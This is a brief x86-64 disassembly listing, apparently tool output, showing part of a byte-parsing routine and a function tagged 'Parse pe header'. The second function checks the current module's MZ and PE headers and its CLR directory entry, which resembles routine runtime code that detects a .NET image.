cmp rdx, rax
je 0x14003165e
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x14003164c
movzx eax, byte [rdx]
sub al, 0x28
cmp al, 1
jbe 0x14003165b
test r8b, 0x10
jne 0x14003165e
movzx eax, byte [rdx]
sub al, 0x7b
test al, 0xfd
jne 0x14003165e
mov rcx, rdx
lea rax, [rcx + 1]
mov qword [rbx], rax
mov rcx, rbx
call fcn.1400282b0
test edi, edi
jne 0x1400315d0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.1400275d0
int3

Function at 0x140036354
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003639e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003639e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003639e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003639e
cmp dword [rcx + 0x84], 0xe
jbe 0x14003639e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400363a0
xor al, al
add rsp, 0x28
ret